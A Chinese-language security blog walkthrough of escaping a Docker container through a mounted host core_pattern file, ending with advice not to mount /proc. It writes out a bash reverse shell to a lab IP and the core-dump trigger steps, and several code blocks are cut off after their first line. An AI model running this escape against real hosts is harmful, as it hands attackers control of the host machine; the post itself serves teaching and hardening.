挂载逃逸(Procfs)
影响版本
危险的配置错误。只要满足以下条件,无论 Docker 版本新旧,均存在风险
漏洞原理
若将宿主机的/proc目录挂载到容器内,攻击者可利用其core_pattern等机制实现逃逸
环境搭建
1 | sudo docker run -it -v /proc/sys/kernel/core_pattern:/host/core_pattern ubuntu /bin/bash |
在输出中寻找 upperdir 或 workdir,其父目录通常包含 merged 目录。一般在宿主机才能看到,容器内查替换一下目录就可以。
漏洞复现
编写反弹脚本exploit.sh
,脚本放在容器的 /tmp/
目录下,那么它在宿主机上的绝对路径就是 <merged-path>/tmp/exploit.sh
。
1 | echo -e '#!/bin/bash\nbash -i >& /dev/tcp/192.168.247.129/3333 0>&1' > /tmp/exploit.sh |
修改core_pattern
1 | #替换eb8bb6a79842369f78355661a99b1674424e1c76cf316824eab9102e7818fbb1 |
触发漏洞
在容器内运行一个会崩溃的程序,触发核心转储执行恶意脚本
1 | cat > /tmp/test.c << EOF |
1 | cd /tmp |
修复建议
最根本的解决方法是不要将宿主机的 /proc
目录挂载到容器内部,尤其是那些不受信任或不需要直接与宿主机进程交互的容器。在运行容器时,检查并避免使用 -v /proc:/host/proc
这类挂载选项
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 Kaelthlog!